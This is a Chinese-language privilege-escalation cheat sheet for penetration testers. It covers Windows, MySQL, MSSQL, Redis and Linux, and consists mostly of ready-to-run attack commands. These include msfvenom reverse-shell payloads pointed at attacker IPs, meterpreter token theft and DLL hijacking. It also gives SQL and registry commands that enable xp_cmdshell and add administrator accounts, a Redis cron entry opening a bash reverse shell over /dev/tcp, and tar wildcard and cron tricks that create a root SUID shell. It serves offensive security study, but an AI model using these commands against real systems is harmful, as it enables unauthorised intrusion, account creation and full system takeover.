1. windows的常用cmd命令
systeminfo 打印系统信息
whoami 获得当前用户名
whoami /priv 当前账户权限
ipconfig 网络配置信息
ipconfig /displaydns 显示DNS缓存
route print 打印出路由表
arp -a 打印arp表
hostname 主机名
net user 列出用户
net user UserName 关于用户的信息
net user \SMB PATH Pa$$wOrd/u:userName 连接SMB
net localgroup 列出所有组
net localgroup GROUP 关于指定组的信息
net start 列出启动的服务
net view \127.0.0.1会话打开到当前计算机
net session 开放给其他计算机
netsh firewall show config 显示防护墙配置
driverquery 列出安装的驱动
tasklist /svc 列出服务任务
dir /s foo 在目录中搜索包含指定字符的项
sc query 列出所有服务
sc qc ServiceName 找到指定服务的路径
shutdown /r /t 0 立刻重启
type file.txt 打印出内容
icacls "C:\Example" 列出权限
2. 系统漏洞提权
- 信息收集-补丁筛选
- 利用
MSF 或特定 EXP
执行提权操作 - windows漏洞检测平台----WindowsVulnScan
exp利用平台
● msf
● https://github.com/SecWiki/windows-kernel-exploits
3. 本地提权--AT&SC&PS&令牌窃取&进程注入
3.1 at指令提权
提权思路: 用at指令打开的cmd窗口的身份是system权限
at 21:26 /interactive cmd.exe //在21:26打开cmd窗口
at //查看作业详情
at /del //删除作业
3.2 sc提权
提权思路: 用sc指令创建服务, 运行的程序是以system权限运行
# sc命令创建一个syscmd的服务,绑定binPath的路径(以cmd打开)
sc Create syscmd binPath= "cmd /K start" type= own type= interact
3.3 通过pstools工具提权
提权思路:pstools是微软官方为windows提供的第三方工具库,通过该工具包中的psexec.exe程序可以实现提权
针对Windows2008
psexec.exe -accepteula -s -i -d cmd.exe
3.4 本地提权--令牌窃取
条件: Windows2008&Windows7
注: 可通过烂土豆实现从web权限提升到系统权限
烂土豆在meterpreter中的运行命令meterpreter>execute -cH -f ./potato.exe
1. 生成木马. 其中lhost和lport可以理解为攻击机的ip地址和端口号
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.3 LPORT=5555 -f exe > shell.exe
2. 本地执行木马,反弹meterpreter会话, 利用incognito模块令牌窃取
meterpreter> use incognito # 使用incognito模块
meterpreter> list_tokens -u #列举所有令牌
meterpreter> impersonate_token "NT AUTHORITY\SYSTEM" # 窃取令牌
3.5 Windows2003&10进程注入提升
pinjector进程注入工具
将一个低权限进程注入到一个高权限的进程中,从而获得高权限进程的高权限,实现提权
3.6 DLL劫持
Windows 程序(exe)启动的时候需要 DLL库的支持。如果这些 DLL 不存在,则可以通过在应用程序要查找的位置放置恶意 DLL 来提权。通常,Windows 应用程序有其预定义好的搜索 DLL 的路径,它会根据下面的顺序进行搜索:1、应用程序加载的目录;2、C:\Windows\System32;3、C:\Windows\System;4、C:\Windows;5、当前工作目录 Current Working Directory,CWD;6、在 PATH 环境变量的目录(先系统后用户). 我们可以通过分析某个软件所加载的dll文件, 用恶意的dll文件去替换正常的dll文件,从而实现权限提升
1. 下载dll分析软件如火绒剑,PChunter, 分析应用所需要加载的dll文件,找到一个可以操作的dll文件
2. 用msf生成dll后门: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.17.135 LPORT=7777 -f dll > shell.dll
3. 覆盖正常的的dll文件,下次应用重启时将会执行此恶意dll文件
1.dll程序要能替换(就是程序的文件夹内包含dll)
2.管理员要启动程序
3.装有第三方软件
3.7 不带引号服务路径提权
当 Windows 服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的文件路径未包含在引号中并且路径中存在空格,则操作系统将会执行找到的空格分隔的服务路径的第一个实例
查看服务路径是否带引号命令: system32>wmic service get name,displayname,pathname,startmode | findstr /i "Auto"
如有一个服务a.exe,他的可执行文件的路径是
“C:\Program Files\a.exe”
,路径被包含在引号中,则系统会正常解释并执行它,没有安全问题; 但是如果没有加引号,如C:\Program Files\a.exe
, 就会被解释为C:\Program
程序,Files\a.exe
为参数
可以生成一个C:\Program
程序木马放在C:\路径下,从而实现服务重启时提权
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.17.135 LPORT=7777 -f exe -o Program.exe
3.8 不安全的服务配置提权
当我们对某个服务有完全控制权时, 我们就可以通过改变服务对应的二进制文件执行木马文件, 或者直接执行cmd命令, 因为通过服务运行的程序默认是以系统权限运行,从而实现权限提升
检查能够操作的服务:
工具: https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
accesschk.exe -uwcqv "administrators" *
对可以操作的服务进行配置修改
sc config spooler binPath= "net user emxiai 12345 /add" #执行恶意命令或者替换成恶意木马路径
4. 数据库提权
4.1 mysql数据库提权
流程:服务探针-信息收集-提权利用-获取权限
namp探测主机操作系统、端口服务,版本信息(nmap -sV -O ip)
- UDF提权:(原理:自定义mysql函数去执行系统命令)
1. select version():查看版本
2. select @@basedir : 查看mysql安装目录
3. 手工创建 plugin 目录或利用 NTFS 流创建
-1.mysql<5.1 导出目录: c:/windows 或 system32
-2.mysql=>5.1 导出到: 安装目录/lib/plugin/(Linux也一样)
# 使用ntfs流创建: select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION';
4. 使用提权大马导出dll文件到plugin目录
- mof提权
原理:(在c:/windows/system32/wbem/mof/nullevt.mof)其作用是每隔五秒就会去监控进程创建和死亡。
我们可以通过mysql的读写文件权限,将恶意代码写入到nullevt.mof文件中,从而以系统权限去执行恶意代码.
select load_file('C:\phpstudy\PHPTutorial\WWW\user_add.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
'C:\phpstudy\PHPTutorial\WWW\user_add.mof'中就是要执行的恶意代码
4.2 MSSQL数据库提权
- 使用
xp_cmdshell
进行提权
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则是默认禁止的,如果用户拥有管理员sa权限则可以用sp_congifgure重新开启它
启用:
EXEC sp_configure 'show advanced options',1 ;
Reconfigure;
EXEC sp_configure 'xp_cmdshell',1;
关闭;
EXEC sp_configure 'show advanced options',1;
reconfigure;
exec sp_config 'xp_cmdshell',0;
reconfigure;
执行;
exec master.dbo.xp_cmdshell '命令'
如果xp_cmdshell被删除了,可以上传xplog70.dll恢复
exec master.sys.sp_addextendeproc 'xp_cmdshell','c:\ProgramFiles\Microsoft SQL server\MSSQL\Binn\xplog70.dll'
- 使用
sp_oacreate
提权
主要用来调用OLE对象,利用OLE对象的run方法执行系统命令。
启用:
EXEC sp_configure 'show advanced options' ,1;
Reconfigure with override;
EXEC sp_configure 'Ole Automation Procedures',1;
Reconfigure with override;
关闭:
EXEC sp_configure 'show advanced options' ,1;
Reconfigure with override;
EXEC sp_configure 'Ole Automation Procedures',0;
Reconfigure with override;
执行:
delare @shell int exec sp_oacreate 'wscript.shell',@shell
output exec sp_oamethod @shell ,'run',null,'c:\windows\system32\
cmd.exe /c whoami >c:\\1.exe'
- 使用SQL server沙盒提权
参考资料:https://blog.51cto.com/11797152/2411770
-提权语句
exec sp_configure 'show advanced options',1;reconfigure;
-- 不开启的话在执行xp_regwrite会提示让我们开启
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
--执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
沙盒模式SandBoxMode参数含义(默认是2)
`0`:在任何所有者中禁止启用安全模式
`1`:为仅在允许范围内
`2`:必须在access模式下
`3`:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
--恢复配置(暂不执行)
--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
--exec sp_configure 'show advanced options',0;reconfigure;
4.3 Oracle数据库提权- 自动化工具(Oracleshell)
4.4 Redis提权
- redis权限提升--计划任务
1. 连接redis:
redis-cli -h IP地址(如果是本地数据库填127.0.0.1)
2. 执行提权命令-反弹bash:
set x "\n* * * * * bash -i >& /dev/tcp/监听IP地址/端口号 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
4.5 postgresql提权
- CVE-2018-1058
- CVE-2019-9193
5. Linux提权
5.1 信息收集
- 操作系统版本、内核
- 环境变量可能存在的密码、api密钥、
- 有那些应用、那些服务、权限方面、配置方面、计划任务方面
- 网络信息(那些与主机通信(进行内网渗透)、DNS/DHCP)
- 敏感文件读取
自动化收集工具: LinEnum; linuxprivchecker;
5.2 Linux 提权之SUID
- 漏洞成因:chmod u+s给与了suid;chmod u-s删除了suid, 关注命令:
nmap、vim、find、bash、more、less、nano、cp - 本来是普通用户执行普通程序,但是一旦给了程序suid权限,程序在运行中就会以root 权限执行,从而提升权限。
- 提权过程: 探针是否有SUID(手工或脚本)-利用特定SUID提权
手工探测:
find / -user root -prem -4000 -print 2>/dev/null
find / -prem -u=s -type f 2>/dev/null
find / -user root -prem -4000 -exec ls -ldb { } \;
如果find拥有suid权限,可以使用以下命令提权
touch xiaodi
find / xiaodi -exec "whoami" \;
5.3 Linux配合内核漏洞本地提权
- 提权过程:连接-获取可利用漏洞-下载或上传EXP-编译EXP-给权限执行
- 上传漏洞探针linux-exploit-suggester2并执行,发现了可能被利用的漏洞
- 访问他的url,将exploits改为download获取exp,进行编译运行
- 利用msf搜索相关漏洞直接利用
3.4 Linux定时任务提权
1. 路径问题: 写定时任务时没有写绝对路径, 写的是相对路径, 我们可以覆盖相对路径的文件, 因为可能相对路径可能有写入权限, 而绝对路径我们可能没有权限.
如
# 查看定时任务
cat /etc/crontab
发现存在相对路径定时任务 : 1 * * root test.sh
# 将我们需要执行的恶意指令写到同名的一个文件中
echo 'cp /bin/bash /tmp/bash;chmod +s /tmp/bash' > /home/xiaodi/test.sh
# 给予执行权限
chmod +x /home/xiaodi/test.sh
# 当调用我们写的同名文件时, 将会得到一个具有root权限的bash
/tmp/bash
2. 命令问题: 在定时任务中, 在使用tar命令打包时, 打包文件写成通配符*
, 通过构造参数名称的文件名实现提权.
# 定时备份不安全写法
tar czf /tmp/backup.tar.gz *
# 构造恶意文件test.sh
echo 'cp /bin/bash /tmp/bash;chmod +s /tmp/bash' > /home/undead/script/test.sh
# 构造参数名称的文件
echo " " > "--checkpoint-action=exec=sh test.sh"
echo " " >--checkpoint=1
# 在执行备份命令时, 执行情况如下:
tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh
其中--checkpoint、--checkpoint-action文件当做了tar命令的参数导致恶意代码执行
3. 不安全权限分配问题: 一般情况我们没有权限操作定时任务, 但是在定时任务中, 存在不安全的权限分配操作,如chmod 777 775
等操作,可能导致的定时任务被覆盖
环境变量&数据库